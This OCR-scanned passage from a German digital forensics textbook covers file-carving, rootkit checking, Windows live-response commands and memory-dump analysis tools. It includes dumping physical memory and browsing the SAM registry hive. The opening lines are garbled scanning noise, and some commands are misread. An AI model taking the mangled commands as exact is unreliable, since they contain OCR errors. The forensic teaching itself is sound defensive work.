o=t code |i = sniffars I = image/pixl‘. = lags
M = nail [ P = prograns|[u = mailg R = removed|s = 1 [t = gene
T = wuencoded | = pasrword £ils|[X = exe |2 = compressed. = binazy
Tttttt -Totot. Ttttt Tttttttt Ttttt Ttttttttttt Tttttttt Ttt.ttt ...... 4
Ttt.ttt Ttttttttttt Tttttttttt Tt.t,t,t.t,t,t.t,Uuuuuuuuuuu Tt.ttttt.t Tttttt
BLE:TLEE  TLEEEEEt o TEL T e Ty ThE e TRE e T TEs T Thase T i Tet o Tl T T
o e e It\:...I..It\:t...I.It...It.I\: ..... I---I-- ToEs s B Zzz
EZZEZZEZZEZZEZZEZZZZIEEE ...... HxxxmuxTo.T...To.. . T.. .. T ZZzzZZzZzzZZZzz
PEEE e 1 AR e SRR oo o SRR T el DL e B ERTT es
ST To e T. TtZZT STl TEED . Tt..2zTc. PR == ) = Tt,...Tt,t,...

T .Ttt,t,t, T TP Tt, T Tt XXXT Ttt,tttt,
ZzzZzzZzzZzzZzzZzzZzzthtt ......
XxxxXxxxxXxxxxXxxxxth x¥xT.Tt.
STo... T It\:t\:\: - Ewanun! 0
EzzzzzEzEzzzztttttttttt

LTe. Tt. T.Tot. .. To. . T. T,

ST TR s T T T s
Pesti ettt sttt sy,
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Unrm liest die Daten ein, wobei jeglicher Datentriger, aber auch
RAM- und Swap-Bereich als Quelle dienen kann. Lazarus erstellt aus
den eingelesenen Daten eine Ubersicht, wahlweise in einer HTML-
Datei.

# unrm /dev/hda8 > /tmp/unrm_hda8
# lazarus —h /tmp/unrm_hda8

Bevor man unrm verwendet, muss beachtet werden, dass sehr viele
Rohdaten anfallen konnen. Demzufolge sollte reichlich Speicherplatz
auf der Zielplatte zur Verfiigung stehen.

7.1.6  Weitere hilfreiche Tools

Im folgenden Abschnitt sollen einige recht hilfreiche Werkzeuge in

loser Reihenfolge vorgestellt werden, die dem Ermittler die eine oder

andere Arbeit unter Unix erleichtern konnten.

Kris Kendall und Jesse Kornblum vom Air Force Office of Special  foremost

Investigations haben das File-Carving-Tool foremost entwickelt*. Die-

ses Programm kann unter Unix durch Auswertung von Header- und
Footer-Informationen entsprechend erkannte Dateitypen aus einem
dd-Image rekonstruieren.

faa root@ hercules:jusyjlocaljiorensic Abb. 7-24

| File Edit View Terminal Go Help Wiederherstellung von
[root@hercules forensicl# foremost -v -c Jusr/lecal/etc/foremost.conf morgu.eZ.f’f .

lash.dd | Daten mit foremost unter
foremost version 0.64 Linux . Hier: Rekonstruk-

WMritten by Kris Kendall and Jesse Kornblum.
tion von Bildern, die mit
Verbose mode on

Output directory: fusr/lecal/forensic/foremost-output
Configuration file: fusr/local/etc/foremost.conf einer CF-Karte erstellt und

einer Digitalkamera auf

wieder geloscht wurden.

Opening fusr/local/forensic/morgue?/flash.dd
ITotal file size is 65519616 bytes

morgue2/flash.dd: 16.0% of image file read (10.0 ME)

A4 jpg was found at: 1025536 |
Wrote file 00000000.jpg -- Success

A jpg was found at: 1072128
Wrote file 0000D000L.jpg -- Success

A jpg was found at: 1186304

Wrote file 00O00DO0DO0Z2.jpg -- Success

A jpg was found at: 1273856

Wrote file 00000003.jpg -- Success

A jpg was found at: 1320448

ﬂote file 00000004.jpg -- Success i

4. bup:/liforemost.sourceforge.net/



Lizenziert fur 2109487.
© 2014 dpunkt. Alle Rechte vorbehalten. Keine unerlaubte Weitergabe oder Vervielfaltigung.

238

7 Forensische Analyse im Detail

Fatback

chkrootkit

Mit dem File-Carving-Tool Fatback® von Nicholas Harbour (Depart-
ment of Defense Computer Forensics Lab) hat man auch unter Unix
die Moglichkeit, FAT-Partitionen zu untersuchen und geloschte
Dateien sichtbar zu machen. Dies funktioniert unter Unix analog zum
DOS-Befehl undelete:

# fatback morgue/image2.dd

Running Fatback v1.3

Command Line: fatback morgue/image2.dd
Time: Tue Apr 16 08:28:52 2002

uname: Linux Ripper 2.4.18 #1 Fri Mar 15 12:40:44 CET 2002 1686
Working Dir: /usr/local/forensic
Unable to map partitions

1 characters of the OEM name in the VBR are invalid
The VBR reports no hidden sectors
oem_name: mkdosfs

bytes per_sect: 512

reserved sects: 1

fat_copies: 2

max_rdir_entries: 512

total _sects s: 0

media_descriptor: f8

sects_per_fat: 125

sects_per_track: 32

num_heads: 8

hidden_sects: 0

total_sects_1: 127968

serial_num: 3c7e78de

fs_id: FAT16

Filesystem type is FAT16

Root dir Tocation: 0

fatback> 1s

2?7 Mar 15 09:49:54 2002 20480 ?0NFUS-1.C confuse_router.c

7?7 Mar 15 09:49:54 2002 278638 ?RAGRO~1.TGZ fragrouter.tgz

Sun Mar 15 09:49:52 2002 5942 ?BNBS.C

Sun Mar 15 09:50:22 2002 61897 ?MBAT-~1.GZ smbat-src-1.0.5.tar.gz
Sun Mar 15 09:50:22 2002 43398 ?MBPRO~1.TGZ smbproxy-src-1.0.0.tgz
Sun Mar 15 09:49:54 2002 315 ?RIPWI~1 tripwire-check

fatback>

Weitere unter Linux lauffihige File-Carving-Tools sind Scalpel® und
Foregone7.

Zur weiteren Suche nach Rootkits oder anderen trojanisierten
Dateien ist chkrootkit® ein niitzlicher Helfer. Kernelement von

chkrootkit ist ein Shell-Skript, das auf einem Unix-System nach Anzei-

hitp://sourceforge.net/projects/fatback/
http:/lwww.digitalforensicssolutions.com/Scalpel/
bttp:/fwww.lurbq.com/ftools/foregone.html
hitp:/lwww.chkrootkit.org

PN
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chen von Rootkits sucht. Hat der Angreifer die Zeichen, nach denen
das Skript sucht, modifiziert bzw. verandert, wird man allerdings nicht
viel finden konnen. Der Einsatz ist recht unproblematisch und zum
Auffinden von Standard-Rootkits empfehlenswert. Chkrootkit enthilt
zusitzlich funf C-Programme, die aus dem Skript heraus aufgerufen
werden. Diese uberpriifen, ob aus diversen Protokolldateien User
geloscht wurden, ob Anzeichen fiir Rootkits vorhanden sind oder sich
ein Netzwerk-Interface im Promiscuous Mode befindet (wird beim
Sniffen verwendet)’.

bed root@hercules:/usrlocalitools/chkrootkit-0.37
File Edit Wiew Terminal Go Help
.[rootahercules chkrootkit-0.37]# ./chkrootkit [:]
[ROOTDIR is */° |
Checking “amd'... not found
Checking ‘basename'... not infected
Checking "biff'... not found
Checking “chfn'... not infected
Checking “chsh'... not infected
Checking “cron'... not infected
Checking “date'... not infected
Checking “du'... not infected
Checking “dirname’... not infected
Checking “echo'... not infected
Checking “egrep'... not infected
Checking “env'... not infected
Checking "find'... not infected
Checking "fingerd'... not found
Checking “gpm'... not infected
Checking ‘grep'... not infected
Checking “hdparm'... not infected
Checking “su'... not infected
Checking “ifconfig'... not infected
Checking “inetd'... not tested
Checking “inetdconf'... not found
1C=hiecking “identd'... not infected I

Die bisher bekannten Implementierungen von Tools, die MDS5- bzw.
SHA1-Priiffsummen erstellen, konnen oft nur jeweils eine einzelne
Datei priifen. MdSdeep'® erméglicht ein rekursives Erstellen bzw.
Uberpriifen von MDS5- bzw. SHA1- und SH256-Priifsummen iiber ganze
Verzeichnisbaume.

$ md5deep -r /etc

ea2ffefelalafb7042be04cd52f611a6
25fd7a8a9%c4794960ef198a60166d22
70c943a610198717c827d27356a79%ec6
d41d8cd98f00b204€9800998ecf8427¢e
d36bb294cf19a21eb353b103d295375
30eeb9e940c0c743682da53e41defbl5
68d9a46c4ec07ac828458815d4bh3cfad
d19bbbed9d713f97f487b9ed9ec3f62f
c03dade4bb0152¢9d0b6d871b4c082f4

/etc/host.conf

/etc/hosts.allow

/etc/hosts.deny

/etc/motd

/etc/passwd
/etc/skel/.kde/Autostart/Autorun.desktop
/etc/skel/.kde/Autostart/.directory
/etc/skel/.bash_Togout
/etc/skel/.bash_profile

9. Allerdings kann es hier unter Linux zu einer Falschmeldung kommen.
10. hatp://imdSdeep.sourceforge.net/ (Version fiir Windows verfiigbar)

Abb. 7-25
Auszug der Ausgabe
von chkrootkit

Md5deep
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Mochte man die Registry eines Windows-Systems untersuchen, ohne
dafiir ein Windows-System zu verwenden, besteht die Moglichkeit,
sich mit ntreg'! (einem Windows-Registry-Dateisystemtreiber fiir
Linux) in einer Registry wie in einem Dateisystem zu bewegen. Die
jeweiligen Werte konnen sofort analysiert werden.

# insmod ntreg.o

# mount -t ntreg -o Toop SAM /mnt/reg
# cd /mnt/reg

#1s

SAM

# cd SAM

#1s

C Domains RXACT

# cd Domains

#1s

Account Builtin Unnamed-Value
# cd Account

#1s

Aliases F Groups Users V

# hex1 F

00000000: 0200 0100 b800 1400 al4c bd3l difd be0l ......... L.1....

00000010: 0d00 0000 0000 0000 0080 abOa ffde ffff ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0080 +...eevvrvunennn
00000030: 00cc ldcf fbff ffff 00cc ldcf fbff ffff ................
00000040: 0000 0000 0000 0000 ea03 0000 0000 0000 ................

00000050: 0000 0800 0000 4e00 0100 0000 0300 0000 ...... Nevoonann
00000060: 0100 0000 0100 0100 0100 0000 3800 0000 ............ 8...
00000070: 170e blca 5add lalb d352 07c5 7a64 0904 ....Z....R..zd..
00000080: df9e ldda 0dOb fedl 2029 a8d2 1301 9a02 ........ ) T

00000090: 1d4b 4682 533f 80ae 636f c819 8f2e 2e56 .KF.S?..co..... v
000000a0: 0000 0000 0000 OOOO ...

Mochte man sich die Miithe des Kompilierens von Kernel-Modulen
nicht selbst machen, kann man auf die Linux-Live-CDs Knoppix bzw.
Helix zurtickgreifen.

7.2 Forensische Analyse unter Windows

Das folgende Kapitel beschreibt Methoden und Werkzeuge, die einem
Ermittler helfen, an wichtige Informationen eines gehackten Win-
dows-Systems zu gelangen. Einige Tools laufen nur unter Windows,
konnen unter Umstinden aber auch fiir die Analyse von Unix-Datei-
systemen verwendet werden. Dies macht es einem Ermittler zwar
leicht, plattformubergreifend titig zu sein, aber spezielle Kenntnisse
des zu analysierenden Betriebssystems sind dennoch wichtig fiir eine
saubere und effektive Ermittlung.

11. bttp:/www.bindview.com
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7.2.1  Diefliichtigen Daten speichern

Ebenso wie unter Unix ist es auch bei Windows-Systemen hilfreich
herauszufinden, in welchem Zustand sich ein verdichtiges System
befindet. Bei der Live Response sind alle Informationen von Interesse,
die u.a. Aussagen tber laufende Prozesse, den Netzwerkstatus, ange-
meldete User sowie verwendete Dateien liefern. Alles dies sind Infor-
mationen, die nach einem Reboot nicht mehr gewonnen werden koén-
nen und auch aus einem forensischen Duplikat der Datentriger nicht
mehr extrahierbar sind. Bevor und nachdem alle Befehle durchgelau-
fen sind, sollten die aktuelle Systemzeit und deren Differenz zu einer
vertrauenswiirdigen Referenzzeit erfasst werden. Die folgende Tabelle
zeigt, welche Befehle unter Windows verwendet werden sollten, um
die fliichtigen Systemdaten zu erfassen. Einige der Befehle sind
Bestandteil des Betriebssystems oder diverser Toolsammlungen wie
Cygwin oder den pstools'?. Die bereits besprochene Windows Foren-
sic Toolchest enthilt u.a. alle genannten Befehle. Einige der aufgefiihr-
ten Programme hinterlassen allerdings Spuren auf dem verdichtigen
System, was sich beispielsweise in den veridnderten Last-Access-Zeit-
stempeln zeigt. Aus diesem Grund sollte tiberlegt werden, nach dem
Sichern der wichtigsten Live-Daten ein forensisches Image zu erstellen
und dann mit der Live Response fortzufahren. Die korrekte und ange-
messene Abfolge ergibt sich aber oft erst im konkreten Zusammen-
hang des Vorfalls.

now.exe Gibt die aktuelle Systemzeit aus

cmd.exe /C ver Zeigt die Betriebssystemversion an
(nach Méglichkeit nicht die
cmd.exe des Systems)

cmd.exe /C set Zeigt die aktuellen Umgebungsvariablen an
(nach Méglichkeit nicht die
cmd.exe des Systems)

psinfo.exe -d -s -h Zeigt zahlreiche Informationen von lokalen und
auch entfernten Windows-Systemen an

hostname.exe Anzeige des Hostnamens

uname.exe -a Betriebssystemversion

uptime.exe, psuptime.exe Uptime seit dem letzten Reboot

whoami . exe Anzeige des Benutzers, mit dem man angemeldet
ist

net.exe config rdr Anzeige der Domaininformationen

net.exe user Anzeige der lokalen Benutzer -

12. Alle Tools sind auf der Helix- bzw. ForensiX-CD enthalten.
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net.exe group Zeigt auf einem Domaincontroller Gruppen-
informationen an

net.exe Tocalgroup Zeigt lokale Gruppeninformationen an

net.exe accounts Zeigt die lokale Account Policy an

net.exe start Zeigt Informationen Uber die Dienste an

net.exe accounts /domain Zeigt die Domain Account Policy an

net.exe share Zeigt alle Informationen Uber verbundene
Netzlaufwerke an

net.exe view Zeigt das System der aktuellen Domane an

net.exe session Mit diesem Befehl werden die Sessions mit
Systemen im Netzwerk angezeigt oder auch
beendet

net.exe use Zeigt die Netzverbindungen an

net.exe file Zeigt die uber das Netz gedffneten lokalen

Dateien an

auditpol.exe

Zeigt die Einstellungen des Audit-Systems

pclip.exe

Liest den Inhalt der Zwischenablage aus

pslist.exe, ps.exe

-ealW

Zeigt Informationen (ber die laufenden Prozesse

listd11s.exe

Zeigt die von laufenden Programmen
verwendeten DLLs an

pstat.exe

Zeigt ausfihrliche Informationen der laufenden
Threads an

tlist.exe -v

Zeigt ausfuhrliche Informationen der einzelnen
Prozesse an

tlist.exe -s

Zeigt ausfuhrliche Informationen zu laufenden
Diensten an

tlist.exe -c

Zeigt ausfuhrliche Informationen zu den
Startparametern der laufenden Prozess an

handle.exe

Zeigt alle Prozesse und deren gedffnete Handle
an

psservice.exe

Zeigt ausfihrliche Informationen zu lokalen und
entfernen Diensten an

sc.exe

Direkte umfangreiche Steuerung von
Windows-Diensten

drivers.exe

Zeigt ausfuhrliche Informationen der installierten
Treiber an

ipconfig.exe /all

Zeigt Informationen der Netzwerkadapter an

arp.exe -a

Zeigt den Inhalt des ARP-Cache und statische
ARP-Zuordnungen an

route.exe

Zeigt Informationen zu Netzrouten an -
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netstat.exe -an Zeigt den Netzstatus mit den zugehdérigen
(Windows 2000), Socketinformationen an
netstat.exe -ano
(Windows XP)
fport.exe, openports.exe Anzeige der Programme, die einen Netzwerkport
gedffnet halten

nbtstat.exe -n Zeigt den Inhalt der lokalen Netbios Name Table
an

nbtstat.exe -c Zeigt den Inhalt des NBT Remote Cache an

nbtstat.exe -s Zeigt die vorhandenen Netbios-Sessions an

hunt.exe\\127.0.0.1 Zeigt die lokalen Shares und Administratorken-
nungen an

Promiscdetect.exe Priift, ob sich ein lokaler Netzadapter im Promis-
cous Mode befindet

psloggedon.exe, Zeigt, wer lokal oder Uber ein Share am System

netusers.exe /local /-history | angemeldet ist

ntlast.exe /local Zeigt die letzten erfolgreichen Anmeldungen

ntlast.exe -v -s Zeigt die letzten fehlgeschlagenen Anmeldungen

ntlast.exe -v -i Zeigt die letzten interaktiven lokalen
Anmeldungen

ntlast.exe -v -r Zeigt die letzten Remote-Anmeldungen an

dumpel.exe -t -1 system Exportiert den System-Eventlog in eine CSV-Text-
datei

dumpel.exe -t -1 security Exportiert den Sicherheits-Eventlog in eine

CSV-Textdatei

dumpel.exe -t -1 application Exportiert den Anwendungs-Eventlog in eine
CSV-Textdatei

psloglist.exe -s system Exportiert den System-Eventlog

psloglist.exe -s application Exportiert den Anwendungs-Eventlog

psloglist.exe -s security Exportiert den Sicherheits-Eventlog

ntfsinfo.exe Zeigt Informationen Uber die NTFS-Volumes an

psfile.exe Zeigt die aus dem Netz gedffneten Dateien

hfind.exe c:\ Zeigt die versteckten Dateien eines Laufwerks an

streams.exe -s C: Zeigt die ADS eines Laufwerks an

sfind.exe C: Zeigt die Alternate Data Streams (ADS) eines
Laufwerks an

efsinfo.exe C: /S /AH /TA Zeigt Informationen iber EFS-verschlisselte
Dateien an

rausers Anzeige derjenigen User, die RAS-Rechte auf

dem System haben (NTRK) -
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autorunsc.exe -a -d -e -s -w | Zeigt ausfihrlichste Informationen Gber automa-
tisch startende Programme an

regdmp.exe Exportiert alle oder nur einen Teil der Registry
Keys (eine ausfuhrliche Liste der interessanten
Registry Keys findet sich auf http://computer-fo-
rensik.org /registry/ oder auch
http://www.accessdata.com/media/en_US/print/
papers/wp.Registry_Quick_Find_Chart.en_

us.pdf)

RootkitRevealer.exe Expertenwerkzeug zur Analyse moglicher
Rootkits

Tasklist.exe /V Gibt die Informationen des Taskmanagers als
Text aus

psloggedon Anzeige der aktiven Anmeldesitzungen

Es konnen hier noch weitere Tools hinzugefiigt werden. Es sollte aber
genau abgewogen werden, ob es sinnvoll ist, fiir Informationen, die
man eventuell doch aus einem Image herauslesen kann, MAC-Times
auf dem System zu zerstoren.

7.2.2  Analyse des Hauptspeichers

Da auch die Angreifer wissen, welche Werkzeuge bei der Aufkldrung
von Systemeinbriichen oft zum Einsatz kommen, versuchen sie, die
klassischen Ermittlungswege zu durchkreuzen und nur minimale Spu-
ren auf Datentrdgern zu hinterlassen, wie es bei einigen Trojanern vor-
kommen kann, die den Payload mit schidlichem Inhalt bei jedem Sys-
temstart aus dem Internet nachladen und nur im Hauptspeicher
vorhalten. Es gehorte lange Zeit quasi zum Standardrepertoire der
Ermittler, die verdachtigen Rechner auszuschalten und dann eine
forensische Kopie der Datentriger zu erstellen. Da hierbei oft keine
zuverldssigen Aussagen iiber den Zustand des laufenden Systems
gewonnen wurden, ging man in einigen Fillen im nichsten Schritt
dazu tiber, den gesamten Hauptspeicherinhalt eines laufenden Systems
in eine Datei zu sichern. Die Auswertung dieses Hauptspeicherabbildes
ergibt nur dann Funde, wenn diese Datei mit einer String-Analyse nach
lesbaren Zeichenketten durchsucht wird, da bis dato keine strukturier-
ten Hauptspeicherinformationen aus forensischer Sicht zur Verfiigung
standen. Eine intuitive Suche nach Unbekanntem ist damit aber
arbeitsokonomisch nicht moglich. Das Manko dieses Analyseansatzes
ist, dass die Hauptspeicherinhalte nur unstrukturiert ausgewertet wer-
den konnen. Den Ermittler interessiert aber beispielsweise auch, wel-
che Hauptspeicherbereiche durch einzelne Prozesse belegt werden,
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welcher Benutzer mit welchen Kommandozeilenparametern diese Pro-
zesse gestartet hat, welche Umgebungsvariablen aktiv waren, welche
Bibliotheken bzw. Konfigurationsdateien durch den Prozess verwendet
wurden oder was sich in der Zwischenablage befand.

Bei der forensischen Analyse von Windows-Hauptspeicherabbil-
dern sind in letzter Zeit zahlreiche Methoden und Werkzeuge u.a. fiir
die strukturierte Speicheranalyse entwickelt worden. Da das verdich-
tige System fiir die Auswertung des Hauptspeicherabbildes nicht mehr
laufen muss, ist es eigentlich gar keine richtige Live-Analyse, aber
zumindest das Hauptspeicherabbild wird am laufenden System erstellt
und man erhalt bei der Analyse natiirlich Informationen tber die Vor-
giange zur Laufzeit. Alternativ lassen sich auch Snapshots von
VMware-Installationen oder Auslagerungsdateien auswerten, um her-
auszubekommen, welche Prozesse im Speicher aktiv waren.

So wurden in den letzten Jahren Verfahren entwickelt, die unter
Nutzung der Strukturen der Speicherverwaltung des Windows-Kernels
und seiner Objekte ein Hauptspeicherabbild eines Windows-Systems
sequenziell durchsuchen. Damit konnen Verwaltungsinformationen zu
Prozessen und Threads identifiziert werden. All dies geschieht unab-
hangig von anderen Funktionen und Datenstrukturen des Kernels. Die
oft auch von Schadprogrammen kontrollierte Windows-API wird
dabei umgangen. Solange die entsprechenden Speicherbereiche noch
nicht uberschrieben wurden, lassen sich daher selbst bereits beendete
Prozesse und Threads noch nachweisen. Neben beendeten Prozessen
kann man uberdies bereits beendete Netzwerkverbindungen identifi-
zieren, wenn die entsprechenden Hauptspeicherbereiche noch nicht
iberschrieben wurden. Des Weiteren liefSe sich unter Umstianden eben-
falls der Inhalt des Pufferspeichers analysieren. Um derartige Informa-
tionen zu erlangen, werden die sogenannten Pool Header analysiert.
Der Windows-Kernel adressiert einen sogenannten Memory Pool,
damit eine Anwendung, die Speicherbereich haben mochte, der kleiner
als eine 4-KB-Speicherseite ist, nicht unnotigen Platz verbraucht. Die
Verwaltung dieser Memory Pools wird durch Pool Header durchge-
fithrt. Der Pool Header legt die GrofSe des Memory Pools fest. Bisher
waren fiir eine Analyse keine in der Praxis brauchbaren Methoden und
Werkzeuge verfiigbar. Das Werkzeug Poolfinder'> durchsucht ein
Hauptspeicherabbild oder eine Windows-Auslagerungsdatei sequenzi-
ell. Dabei werden die Memory-Pool-Zuordnungen identifiziert. Das
Tool sucht in den ersten 8 Bytes der Pool Header und vertraut dabei
der ordnungsgemaflen Verkettung der Speicherblocke. Mit Poolfinder

13. hitp:/lcomputer.forensikblog.delfiles/poolfinder/poolfinder-current.zip

Neue Methoden zur
Hauptspeicheranalyse
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lassen sich Hauptspeicherabbilder analysieren, die mit dd erstellt wur-
den oder auch als Crashdump vorliegen. Poolfinder fihrt eine Art
Brute-Force-Angriff auf das Speicherabbild bzw. die Auslagerungsda-
tei durch und versucht dabei, die Pool-Header-Zuordnungen zu finden.

alex@whammy /tmp/poolfinder

$ ./poolfinder.pl ../dfrws2005-physical-memoryl.dmp

No. Tag EPROCESS Size Offset P F Type Indx
1 Vad 8 0x00081000 - - 0x01 0x40
2 WDMA 2056 0x00081060 - F 0x00 0x40
3 FatE 8 0x00093000 - - 0x01 0x40
4 MmSb 2048 0x000934c0 - F 0x00 0x00
5 Vad 8 0x00093800 - f 0x01 0x40
6 Even 8 0x00093eal P - 0x01 0x40
7 File 2056 0x0011c000 P - 0x02 0x40
8 Even 8 0x0011c6al P - 0x01 0x40
9 Crea 424 0x0013c000 - F 0x00 0x00
10 File 2048 0x001e0000 P - 0x03 0x00
11 MmCa 2056 0x001e03e0 - - 0x01 0x40
12 Fatx 2056 0x001e07e0 - F 0x00 0x40
13 File 8 0x001e0d00 P f 0x03 0x40
14 File 2048 0x001f1000 P - 0x06 0x00
15 MmCa 2056 0x00221000 - - 0x01 0x40
16 0xe20d1288 448 0x00221db8 - F 0x00 0x00
[-]

Abb. 7-26 Poolfinder bei der Analyse eines Windows-Hauptspeicherabbildes

Ein weiteres Werkzeug zur Analyse von Windows-Speicherabbildern
ist das Perl-Skript PTfinder'*. Dieses Werkzeug liefert wertvolle Infor-
mationen uber die zur Laufzeit eines Windows-Systems aktiven Pro-
zesse und Threads durch eine Analyse von Prozessinformationen und
ermoglicht auch eine grafische Darstellung des Prozessbaums mit
Zusatztools.

Um mit PTfinder zuverlissige Informationen erlangen zu konnen,
muss bekannt sein, um welches Betriebssystem es sich handelt. Das
OS-Detection-Skript von Harlan Carvey!® versucht das Betriebssys-
tem zu identifizieren, von dem das Hauptspeicherabbild stammt.

14. hutp:/lcomputer.forensikblog.delfiles/ptfinder/ptfinder-collection-current.zip
15. hutp://sourceforge.net/projectsiwindowsir/filesfOS%20Detect/
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alex@whammy /tmp/

$ perl kern.pl dfrws2005-physical-memoryl.dmp

kern - Determine 0S from a Windows RAM Dump (v.0.1 20060914)
Ex: kern <path to dump file>

File Description
File Version : 5.00.2195.1620
Internal Name : ntoskrnl.exe
Original File Name
Product Name : Microsoft(R) Windows (R) 2000 Operating System
Product Version : 5.00.2195.1620

: NT Kernel & System

Abb. 7-27 Das OS-Detection-Skript identifiziert das Betriebssystem des
Hauptspeicherabbildes.

PT Process and Thread Finder - Front End g =

About

Target Operating System
v Windows 2000 Jv Create JPG of Output?

Windows XP 5P1

~
I Windws %P SP2
(" Windows 2003

Open Dump
File
Input - Dump File Location

D skmphchdfrws 2005-phyzical-memony 1 .dmp

Output - File Mames
Text File Mame:

]dfrwsEUDE-physical-memory‘l bt

JPG File Mame: ]dflwSZUDE-physical-memory‘l.ipg

Output Directany:
|Dtmpt,

Exit Execute

Einen Schritt weiter als PTfinder geht das Tool pmodump'”. Mit die-
sem Perl-Skript ist es zusdtzlich moglich, den virtuellen Speicherbe-
reich direkt aus einem Hauptspeicherdump zu extrahieren. Somit
erhilt man mit dem Befehl per1 pmodump.pl memory.dump -list alle im
Dump enthaltenen ausfithrbaren Dateien:

16. hitp://www.forensiczone.com/ram/ptfinderfe/PTFinderFE.htm
17. butp:/fwww.secureworks.com/research/tools/truman.html

Abb. 7-28

Durch die Verwendung
des grafischen Frontends
PTfinderFE'® lassen sich
die Analyseschritte
einfacher durchfiihren.
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Dirbase is 0x600d000

Found PEB at 0xb43000

PEB_LDR DATA is at 0x131e90 (0x3c19e90)

LDR Flink: 0x13lecO

PDB at 0x0600d000 is linked to EXE at 0x00400000 (0x01a4b000)
ProcessParams is at 0x20000 (0x1dc000)

EXE name at 0x2057c (0x1ldc57c): c:\winnt\system32\nc.exe
A AP
1..L.!This program cannot be run in DOS mode....§....... PE..L...... 4...

BaseAddr: 0x00400000 (0x01a4b000): c:\winnt\system32\nc.exe
BaseAddr: 0x77f80000 (0x02198000): C:\WINNT\System32\ntd11.d11
BaseAddr: 0x77e80000 (0x03234000): C:\WINNT\system32\KERNEL32.d11
BaseAddr: 0x75050000 (0x0503c000): c:\winnt\system32\WSOCK32.d11
BaseAddr: 0x75030000 (0x05085000): c:\winnt\system32\WS2_32.DLL
[.]

Abb. 7-29 Aus einem Hauptspeicherabbild mit pmodump extrahierte ausfiihrbare Datei
Netcat (nc.exe)

Zur Sicherung von laufenden Windows-Prozessen und auch Linux-
Prozessen existiert das Werkzeug Process Dumper pd!$. Damit kénnen
dedizierte Daten eines laufenden Systems fiir die nachtragliche Analyse
gesichert werden.

alex@whammy /tmp/trapkit

$ ./pd -p 4660 > 4660.dump

pd, version 1.0 tk 2006, www.trapkit.de
Mapping: 0x00010000-0x00011000 Size: 4096
Mapping: 0x00020000-0x00021000 Size: 4096
[.]

Abb. 7-30 Mit pd lassen sich auch unter Windows Prozessspeicherinhalte sichern.

18. hutp:/ftrapkit.delresearch/forensic/pd/index.html
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Das vom gleichen Autor stammende Werkzeug Memory Parser!’

erlaubt dann die weitere Analyse des mit pd erstellten Prozessabbildes
mit der Moglichkeit, die ausfithrbare Datei und zugehorige Bibliothe-
ken zu extrahieren. Die mit der bereits in Abschnitt 6.6 beschriebenen
ForensiX-CD erstellten Speicherdumps konnen ebenfalls mit dem
Memory Parser ausgewertet werden.

~

IE Memory Parser g =
| Workspace | Executables | about |
Executables: Name Infarmation:
L/ INDOWS system 324 PG Plsp.dil (000340000 [Mapping: 19] ~|  Woinfamation available

Dhprogrammetmischne exe [0x00400000) [Mapping: 29]

Lo INDOWS Sepstem32ibmnet.dil (Jx00000000) [Mapping: 38]

L INDOWS vayshem 3250 CMAPIHE.DLL (0x10000000) [Mapping: 58]

CowINDODWS Sapstem32shnetcfa. dil (0x66710000] [Mapping: B3]

C:AwINDOWS S petem32vmawsock. dll [0x719B0000] [Mapping: 67]

CoawINDOWS S petem32hwzhtepip. dil (0+719F0000) [Mapping: 72]

Lo INDOWS Saystem 32 SZHELP.dl (0271400000) Mapping: 76]

CrwfINDOWS aystern324h/52_32.dIl (0x71410000) [Mapping: 20]

CovwfINDOWS haystem 324 SOCK3Z.dI (0471430000 [Mapping: B4]

L/ INDOWS vsystem32'wshbih.dil [0:750F0000] [M apping: 28]

C:wfINDOWS vsystem32WDNSAPL dil (Dx7EEE 0000 [Mapping: 92] Hash Information:
C:w/INDOWS ssystem320/LDAP32. dil [0x78F 20000] [Mapping: 7] A8 nomation:s,
CwINDOWS S pstem32ywinme dil (0x7FEF70000) [Mapping 102] Nevinfarmation available
C:awINDOWS vspstem32vrasadhlp.dil [0x76FB0000] [Mapping: 106]

CovwfINDOWS vaystem32WSETUPAPL dil [0x7 78FO000) [Mapping: 170]

CoawINDOWS Sapstem32imevert. dll (0477BEODO0] [Mapping: 115]

CowINDOWS hsystem32W U SER 32.dIl [0477010000) [Mapping: 122]

CowfINDOWS hsystem 32 ADWAPI 32 dIl [D477DAD000] [Mapping: 127]

CowINDOWS vaystem32WRPCR T4.dil (0x77ES0000) [Mapping: 132]

CrwfINDOWS haystem324G DIZZ dil (0x?7EFO000) [Mapping: 138]

CHWINDOWS austem32ySHLWAPL. dil [0x77F400001 IMaoaina: 1401 4]

Delete executables from disk |

Das herkommliche Auslesen des physikalischen Hauptspeichers eines
Windows-Systems iiber den Zugiff auf \.\Device\PhysicalMemory
(typischerweise mit D:\> dd.exe if=\\.\PhysicalMemory of=E:\dump.dd
conv=noerror > E:\dump.err) wird in Zukunft allerdings nicht mehr
moglich sein. Ein Teil des Sicherheitskonzepts von Windows XP
64-bit, Windows2003 SP1 bzw. Windows Vista und Windows 7 ist,
dass der Zugriff aus dem User Mode auf den physikalischen Haupt-
speicher verhindert wird. Alternative Analysewege fiihren dann tber
das Sysinternals-Tool LiveKd??, die KnTTools*! oder die Auswertung
von Crashdumps, die mit dem Microsoft-Tool Userdump.exe®? erstellt
werden. Alternativ kann die Erstellung eines Crashdumps mittels Tas-
tenkombination durch das vorherige Setzen eines Registry-Keys ohne
Zusatzwerkzeuge ermoglicht werden. Setzt man den Registry-Key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services \i8042 prt
\Parameters\CrashOnCtr1Scroll auf »dword:00000001«, so kann man

19. bttp:/itrapkit.delresearch/forensic/mmplindex.btml

20. http:/litechnet.microsoft.com/de-delsysinternals/bb897415 (en-us).aspx
21. http:/fwww.gmgsystemsinc.com/knttools/

22. bttp://support.microsoft.com/kb/250509/de

Abb. 7-31

Ein mit pd erzeugtes
Hauptspeicherabbild ldsst
sich mit dem Memory
Parser auswerten.
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Tab. 7-2

Ubersicht iiber die
mitgelieferten Module
von Volatility 2.3.1

in vielen Fillen alternativ iiber die Tastenkombination [STRG]+
[ROLLEN]+[ROLLEN] auch ohne Zusatzwerkzeuge einen Crash-
dump erstellen, der dann in %SystemRoot%\MEMORY.DMP landet. Bei USB-
Tastaturen bleibt diese Funktion allerdings wirkungslos. Speicherort
des Crashdumps und weitere Einstellungen wie GrofSe (nur ein voll-
standiges Speicherabbild ist fiir die forensische Analyse sinnvoll) kon-
nen uber die Starten- und Wiederherstellungsoptionen in den erweiter-
ten Arbeitsplatzeinstellungen konfiguriert werden. Dies sollte im
Idealfall eingestellt werden, bevor ein Sicherheitsvorfall eintritt. Von
